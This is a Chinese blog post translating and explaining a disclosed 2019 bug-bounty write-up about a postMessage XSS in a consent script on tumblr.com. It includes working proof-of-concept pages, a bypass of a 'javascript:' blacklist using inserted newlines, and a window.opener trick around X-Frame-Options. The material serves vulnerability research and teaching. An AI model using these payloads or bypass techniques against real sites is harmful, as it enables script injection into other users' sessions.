postMessageXss續2

? ?原文地址如下:https://research.securitum.com/art-of-bug-bounty-a-way-from-js-file-analysis-to-xss/

? ?在19年我寫了一篇文章,是基于postMessageXss漏洞的入門教學:https://www.cnblogs.com/piaomiaohongchen/p/14727871.html?

? ?這幾天瀏覽mXss技術的時候,看到了一篇postMessaage的分析文章,覺得不錯,遂翻譯寫成文章,每一次好的文章翻譯,都是一次很好的學習的機會。生硬的translate,對技術提升沒有任何幫助,這里我以第一視角代入翻譯此篇文章,加入自己對漏洞的理解。

? ?這篇文章的難點在于對source的構造。

? ?正文內容如下:

? ?在研究期間,我決定查看 tumblr.com 主頁,計劃是查看它是否處理任何 postMessages。我發現 cmpStub.min.js 文件中有一個有趣的函數,它不檢查 postMessage 的來源。在模糊形式下,它如下所示:

            var e = !1;function t(e) {var t = "string" == typeof e.data, n = e.data;if (t)try {n = JSON.parse(e.data)} catch (e) {}if (n && n.__cmpCall) {var r = n.__cmpCall;window.__cmp(r.command, r.parameter, function(n, o) {var a = {__cmpReturn: {returnValue: n,success: o,callId: r.callId}};e && e.source && e.source.postMessage(t ? JSON.stringify(a) : a, "*")})}}

? 為了方便理解,把代碼丟入webstorm,webstorm會有高亮提醒:

?通過我的截圖標記,我們知道這是個套娃行為,他的可控source點的套娃行為如下:

e.data <- n <- n.__cmpCall <- r <- r.command && r.parameter

如果要本地模式這種套娃行為,那么這種source套娃模擬就是如下:

data= '{"name":"admin","list":{"test1":"test12","test2":"test2"},"age":16}'
// data='123'
var n = JSON.parse(data);
console.log(n.list.test1)

?兩個邏輯處理分支:

(1)n = JSON.parse(e.data)
(2)window.__cmp(.,.,.xxx

?第一個是使用parse函數把我們監聽接收的數據從JSON 字符串轉換為 JavaScript 對象,說明我們傳遞的source是個json字符串

?source套娃點,會傳入__cmp(函數,跟進這個函數:

     if (e)return {init: function(e) {if (!l.a.isInitialized())if ((p = e || {}).uiCustomParams = p.uiCustomParams || {},p.uiUrl || p.organizationId)if (c.a.isSafeUrl(p.uiUrl)) {p.gdprAppliesGlobally && (l.a.setGdprAppliesGlobally(!0),g.setGdpr("S"),g.setPublisherId(p.organizationId)),(t = p.sharedConsentDomain) && r.a.init(t),s.a.setCookieDomain(p.cookieDomain);var n = s.a.getGdprApplies();!0 === n ? (p.gdprAppliesGlobally || g.setGdpr("C"),h(function(e) {e ? l.a.initializationComplete() : b(l.a.initializationComplete)}, !0)) : !1 === n ? l.a.initializationComplete() : d.a.isUserInEU(function(e, n) {n || (e = !0),s.a.setIsUserInEU(e),e ? (g.setGdpr("L"),h(function(e) {e ? l.a.initializationComplete() : b(l.a.initializationComplete)}, !0)) : l.a.initializationComplete()})} elsec.a.logMessage("error", 'CMP Error: Invalid config value for (uiUrl).  Valid format is "http[s]://example.com/path/to/cmpui.html"');
// (...)

代碼臭長臭長的,不要管,只要抓住重點?

(1)在javascript中當出現n.x.y或者n.x.y.z說明是套娃+套娃,跟緊咬死source點

(2)尋找潛在風險函數

發現有個if邏輯判斷,如果不為真,就else輸出報錯,那么這里要想辦法讓條件為真,跟進isSafeUrl函數:

isSafeUrl: function(e) {return -1 === (e = (e || "").replace(" ","")).toLowerCase().indexOf("javascript:")
}

正常我們寫代碼都是function isSafeUrl(x) 。這是兩種不同的寫法,效果類似,一種是對象方法定義,一種是直接函數說明。

?這段邏輯代碼很好理解:如果輸入的字符串中不包含"javascript:",函數返回 true;如果包含,返回 false。?

?這里想返回真,那么我們就不能包含javascript:字符串,他這么做是為了防止xss攻擊。做過一些代碼審計的朋友應該都知道,使用包含這種黑名單的修復手法,是很危險的,是很容易被繞過的。

?那么這里的包含,為后面的利用留下了伏筆。我們繼續往下研究,假設我們不包含javascript:字符串,為真了,會觸發下面的邏輯處理代碼:

? 通過不斷的debug進入邏輯處理函數,發現一個可疑邏輯處理函數

 e ? l.a.initializationComplete() : b(l.a.initializationComplete)

? 跟進b函數:

         b = function(e) {g.markConsentRenderStartTime();var n = p.uiUrl ? i.a : a.a;l.a.isInitialized() ? l.a.getConsentString(function(t, o) {p.consentString = t,n.renderConsents(p, function(n, t) {g.setType("C").setGdprConsent(n).fire(),w(n),"function" == typeof e && e(n, t)})}) : n.renderConsents(p, function(n, t) {g.setType("C").setGdprConsent(n).fire(),w(n),"function" == typeof e && e(n, t)})

在這里,將觸發真正的sink點:n.renderConsents(p, function(n, t) {,跟進對應函數:

 sink:renderConsents: function(n, p) {if ((t = n || {}).siteDomain = window.location.origin,r = t.uiUrl) {if (p && u.push(p),!document.getElementById("cmp-container-id")) {(i = document.createElement("div")).id = "cmp-container-id",i.style.position = "fixed",i.style.background = "rgba(0,0,0,.5)",i.style.top = 0,i.style.right = 0,i.style.bottom = 0,i.style.left = 0,i.style.zIndex = 1e4,document.body.appendChild(i),(a = document.createElement("iframe")).style.position = "fixed",a.src = r,a.id = "cmp-ui-iframe",a.width = 0,a.height = 0,a.style.display = "block",a.style.border = 0,i.style.zIndex = 10001,l(),

(1)r = t.uiUrl 可控點
(2)a.src = r iframe src加載

? 通過閱讀代碼,很明顯看出來這是個xss漏洞,我們可以本地模擬下這段攻擊代碼:

       <script type="text/javascript">a = document.createElement("iframe");a.src="javascript:alert(1)"; //可控點document.body.appendChild(a);</script>

因為前面的isSafeUrl函數判斷,不允許包含javascript:字符串,包含就會報錯不走相關sink函數,那么這里就需要利用下js的小tricks:

a = document.createElement("iframe");
a.src="\tjava\nscr\nipt:alert(1)"; //可控點
document.body.appendChild(a);

再次刷新:

在js中,src屬性支持換行符,制表符等無害臟數據。這樣我們就繞過了這個黑名單過濾函數。

對于最后的sink點位,原作者畫出如下圖:

這里我們需要學習老外的學習思路,漏洞挖掘中可以多畫一些腦圖,方便你去理解代碼和理解業務邏輯。

最終的構造poc如下:

<html><body><script>
window.setInterval(function(e) {try {window.frames[0].postMessage("{\"__cmpCall\":{\"command\":\"init\",\"parameter\":{\"uiUrl\":\"ja\\nvascript:alert(document.domain)\",\"uiCustomParams\":\"fdsfds\",\"organizationId\":\"siabada\",\"gdprAppliesGlobally\":\"fdfdsfds\"}}}","*");} catch(e) {}
}, 100);
</script>
<iframe src="https://consent.cmp.oath.com/tools/demoPage.html"></iframe>

難點在于source套娃,容易繞暈。構造的poc,是比較常規的寫法。前面已經講了這個套娃怎么玩了,詳見JSON.parse的函數定義。

其實到這里,這篇翻譯文章算結束了。下面是擴展項:

只要頁面不包含 X-Frame-Options 標題,它就不需要任何額外的用戶交互,訪問惡意網站就足夠了。如果應用程序實現 X-Frame-Options 標頭,則此漏洞將不允許攻擊者構建目標頁面。整個攻擊需要在兩個瀏覽器選項卡之間創建連接,以便通過window.opener傳遞postMessages,這也非常簡單:

X-Frame-Options 是什么?

X-Frame-Options 是一個 HTTP 響應頭,用于防止點擊劫持攻擊(clickjacking)。它控制一個網頁是否可以在 <iframe> 中被嵌套,增強了安全性。以下是它的主要選項和含義:不允許任何網頁在 <iframe> 中嵌套當前頁面。
http
復制代碼
X-Frame-Options: DENY
SAMEORIGIN:只允許同源的網頁在 <iframe> 中嵌套當前頁面。也就是說,只有與當前頁面相同源的網頁可以嵌入。
http
復制代碼
X-Frame-Options: SAMEORIGIN

因為postMessage xss漏洞需要加載當前網頁地址,通過設置X-Frame-Options可以禁止嵌套網頁:

那么對于這種情況,原文作者是如何繞過的?

<html><body>
<script>
function e() {window.setTimeout(function() {window.location.href="https://www.tumblr.com/embed/post/";}, 500);
}
window.setInterval(function(e) {try {window.opener.postMessage("{\"__cmpCall\":{\"command\":\"init\",\"parameter\":{\"uiUrl\":\"ja\\nvascript:alert(document.domain)\",\"uiCustomParams\":\"fdsfds\",\"organizationId\":\"siabada\",\"gdprAppliesGlobally\":\"fdfdsfds\"}}}","*");} catch(e) {}
}, 100);
</script><a onclick="e()" href="/tumblr.html" target=_blank>Click me</a>

這段代碼繞過X-Frame-Options的核心概念如下:

攻擊者需要在兩個不同的瀏覽器選項卡之間建立連接。
這種連接允許攻擊者在打開目標網站的選項卡中通過 window.opener 對象發送 postMessage 消息。
這種方式繞過了瀏覽器的安全策略,利用了在 window.opener 上發送消息的能力。
綜上所述,理解這段話的關鍵點是:如果沒有正確配置 X-Frame-Options 標頭的網頁可能會受到攻擊,因為其他網站可以在其頁面中嵌入目標網頁的iframe,從而執行潛在的惡意操作。
正確實現 X-Frame-Options 可以有效防止此類攻擊。
攻擊者利用兩個瀏覽器選項卡之間的連接,通過 window.opener 發送 postMessage 消息,繞過瀏覽器的安全機制,執行攻擊。
window.opener 將指向打開這個彈出窗口的主窗口
時間線:
07/10/2019 – 發現漏洞并同時向 Verizon Media 和 Tumblr 報告
07/10/2019 – 由 Tumblr 分類和修復
08/10/2019 – 由 Verizon Media 修復
09/10/2019 – Tumblr 獎勵我 500 美元的賞金
26/10/2019 – Verizon Media 獎勵我 500 美元的賞金

雖然這份報告只有500刀,但是個人學到了很多。好的文章超越了金錢本身。

TRANSLATE with
x
English
ArabicHebrewPolish
BulgarianHindiPortuguese
CatalanHmong DawRomanian
Chinese SimplifiedHungarianRussian
Chinese TraditionalIndonesianSlovak
CzechItalianSlovenian
DanishJapaneseSpanish
DutchKlingonSwedish
EnglishKoreanThai
EstonianLatvianTurkish
FinnishLithuanianUkrainian
FrenchMalayUrdu
GermanMalteseVietnamese
GreekNorwegianWelsh
Haitian CreolePersian?
TRANSLATE with
COPY THE URL BELOW
Back
EMBED THE SNIPPET BELOW IN YOUR SITE
Enable collaborative features and customize widget: Bing Webmaster Portal
Back

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/web/46361.shtml
繁體地址,請注明出處:http://hk.pswp.cn/web/46361.shtml
英文地址,請注明出處:http://en.pswp.cn/web/46361.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

模型蒸餾、量化、裁剪的概念和區別

模型壓縮概述 1.1 模型壓縮的重要性 隨著深度學習技術的快速發展&#xff0c;神經網絡模型在各種任務中取得了顯著的成功。然而&#xff0c;這些模型通常具有大量的參數和復雜的結構&#xff0c;導致模型體積龐大、計算資源消耗高和推理時間長。這些問題限制了深度學習模型在…

車載音視頻App框架設計

簡介 統一播放器提供媒體播放一致性的交互和視覺體驗&#xff0c;減少各個媒體應用和場景獨自開發的重復工作量&#xff0c;實現媒體播放鏈路的一致性&#xff0c;減少碎片化的Bug。本文面向應用開發者介紹如何快速接入媒體播放器。 主要功能&#xff1a; 新設計的統一播放U…

新版本cesium編譯1.103之后的版本

cesium1.1之后的版本文件結構域1.1之前的版本有了很大的差別&#xff0c;源碼也全部移到了packages目錄中。有很多依賴包沒有寫在根目錄的package.json文件中。npm i 后直接編譯會保持。 cesium源碼git https://github.com/CesiumGS/cesium 1、添加缺少的包&#xff0c;缺少的…

4. 雙端口ram設計

1. 設計要求 設計一個位寬8bit&#xff0c;地址深度為128&#xff0c;可以同時讀寫的雙端口RAM 要求&#xff1a;模塊名字為RAM_DUAL 輸入端口&#xff1a;ADDR_W&#xff0c;ADDR_R CLK_R&#xff0c;CLK_W&#xff0c;RSTn ADDR_R[6:0]&#xff0c;ADDR_W[6:0] DATA_WR…

k8s學習——創建測試鏡像

創建一個安裝了ifconfig、telnet、curl、nc、traceroute、ping、nslookup等網絡工具的鏡像&#xff0c;便于集群中的測試。 創建一個Dockerfile文件 # 使用代理下載 Ubuntu 鏡像作為基礎 FROM docker.m.daocloud.io/library/ubuntu:latest# 設置環境變量 DEBIAN_FRONTEND 為 …

學習測試9-接口測試 2-抓包工具Fiddler

Fiddler 抓包工具的使用 怎么找接口信息&#xff0c;可以通過瀏覽器的開發者工具 Fiddler 是一個 HTTP 協議調試代理工具 File 菜單&#xff1a; Capture Traffic&#xff08;或 F12&#xff09;&#xff1a;是個開關&#xff0c;可以控制是否把 Fiddler 注冊為系統代理。當把…

淺談Open.Json.pickle.Os

一、Open函數使用 open函數是 Python 中用于打開文件的內置函數&#xff0c;它返回一個文件對象&#xff0c;該文件對象提供了對文件進行讀寫操作的方法。使用 open 函數時&#xff0c;通常需要指定至少兩個參數&#xff1a;文件名&#xff08;file&#xff09;和模式&#xf…

【網絡工具】Charles 介紹及環境配置

?個人博客&#xff1a;Pandaconda-CSDN博客 &#x1f4e3;專欄地址&#xff1a;http://t.csdnimg.cn/iAmAo &#x1f4da;專欄簡介&#xff1a;在這個專欄中&#xff0c;我將會整理一些工作或學習中用到的工具介紹給大家~ &#x1f4d8;Charles 系列其它文章&#xff1a;【網絡…

Git操縱本地倉庫和遠程倉庫

git是一個代碼托管的平臺&#xff0c;我們可以對我們的代碼進行分支 推送提交 打標簽等等操作&#xff0c;而且git使用過程中也是支持一些linux語言的 比如cd呀 touch mkdir啊等等等 git的具體安裝過程就不再贅述 我個人認為 好多東西就是 代碼也好 文字 文檔 也好&…

【C語言】結構體,枚舉,聯合超詳解!!!

目錄 結構體 結構體聲明 結構體成員的訪問 結構體自引用 結構體變量定義&#xff0c;初始化&#xff0c;傳參 結構體內存對齊 位段 枚舉 聯合(共用體) 結構體 結構體聲明 1. 概念 1. 結構體是一些值的集合&#xff0c;這些值稱為成員變量。 2. 結構體的每個成員可…

長難句打卡7.15

The trend was naturally most obvious in those areas of science based especially on a mathematical or laboratory training, and can be illustrated in terms of the development of geology in the United Kingdom 這一趨勢自然在以數學或實驗室訓練為基礎的科學領域里…

Unlink

Unlink 原理 我們在利用 unlink 所造成的漏洞時&#xff0c;其實就是對 chunk 進行內存布局&#xff0c;然后借助 unlink 操作來達成修改指針的效果。簡單回顧一下 unlink 的目的與過程&#xff0c;其目的是把一個雙向鏈表中的空閑塊拿出來&#xff08;例如 free 時和目前物理…

Leetcode二分搜索法淺析

文章目錄 1.二分搜索法1.1什么是二分搜索法&#xff1f;1.2解法思路 1.二分搜索法 題目原文&#xff1a; 給定一個 n 個元素有序的&#xff08;升序&#xff09;整型數組 nums 和一個目標值 target &#xff0c;寫一個函數搜索 nums 中的 target&#xff0c;如果目標值存在返…

從PyTorch官方的一篇教程說開去(1 - 初心)

原文在此&#xff0c;喜歡讀原汁原味的可以自行去跟&#xff0c;這是一個非常經典和有學習意義的例子&#xff0c;在此向老爺子們致敬 - https://pytorch.org/tutorials/intermediate/reinforcement_q_learning.html 開源文化好是好&#xff0c;但是“公地的悲哀”這點避不開…

每天一個數據分析題(四百三十七)- 統計量

若x1、x2、x3取自某總體的樣本&#xff0c;當期望a已知&#xff0c;方差c未知時&#xff0c;則以下不是統計量的是 A. x1x2x3 B. min{x1&#xff0c;x2&#xff0c;x3} C. a(x1x2)/2 D. (x1x2x3)/c 數據分析認證考試介紹&#xff1a;點擊進入 題目來源于CDA模擬題庫 點擊…

用c語言實現一個alexnet

在C語言中實現一個完整的AlexNet神經網絡是一個復雜的任務,涉及大量的矩陣運算和卷積操作。這個示例代碼將涵蓋AlexNet的主要組件,包括卷積層、ReLU激活函數、池化層和全連接層。 由于C語言本身沒有像Python的NumPy那樣的矩陣庫,我們需要自己編寫矩陣運算函數。另外,C語言…

高效運維:構建全面監控與自動化管理體系

在當今的數字化時代&#xff0c;運維管理已成為企業IT架構中不可或缺的一環。它不僅關乎系統的穩定運行&#xff0c;更直接影響到業務的響應速度、故障處理時間以及客戶滿意度等多個方面。因此&#xff0c;構建一套全面監控與自動化管理體系&#xff0c;對于提升企業運維效率、…

無人機之多旋翼與固定翼的區別

多旋翼無人機和固定翼無人機是無人機技術中的兩種主要形式&#xff0c;各自有獨特的優勢和應用場景。 一、飛行原理與結構 多旋翼無人機&#xff1a;依靠多個旋翼產生升力來平衡飛行器的重力&#xff0c;通過改變每個旋翼的轉速控制飛行器的姿態和平穩&#xff0c;使其能夠垂…

C++ //練習 15.22 對于你在上一題中選擇的類,為其添加合適的虛函數及公有成員和受保護的成員。

C Primer&#xff08;第5版&#xff09; 練習 15.22 練習 15.22 對于你在上一題中選擇的類&#xff0c;為其添加合適的虛函數及公有成員和受保護的成員。 環境&#xff1a;Linux Ubuntu&#xff08;云服務器&#xff09; 工具&#xff1a;vim 代碼塊 class Shape {public:S…

PDF文件無法編輯?3步快速移除PDF編輯限制

正常來說,我們通過編輯器打開pdf文件后,就可以進行編輯了&#xff61;如果遇到了打開pdf卻不能編輯的情況,那有可能是因為密碼或是掃描件的原因&#xff61;小編整理了一些pdf文件無法編輯&#xff0c;以及pdf文件無法編輯時我們要如何處理的方法&#xff61;下面就隨小編一起來…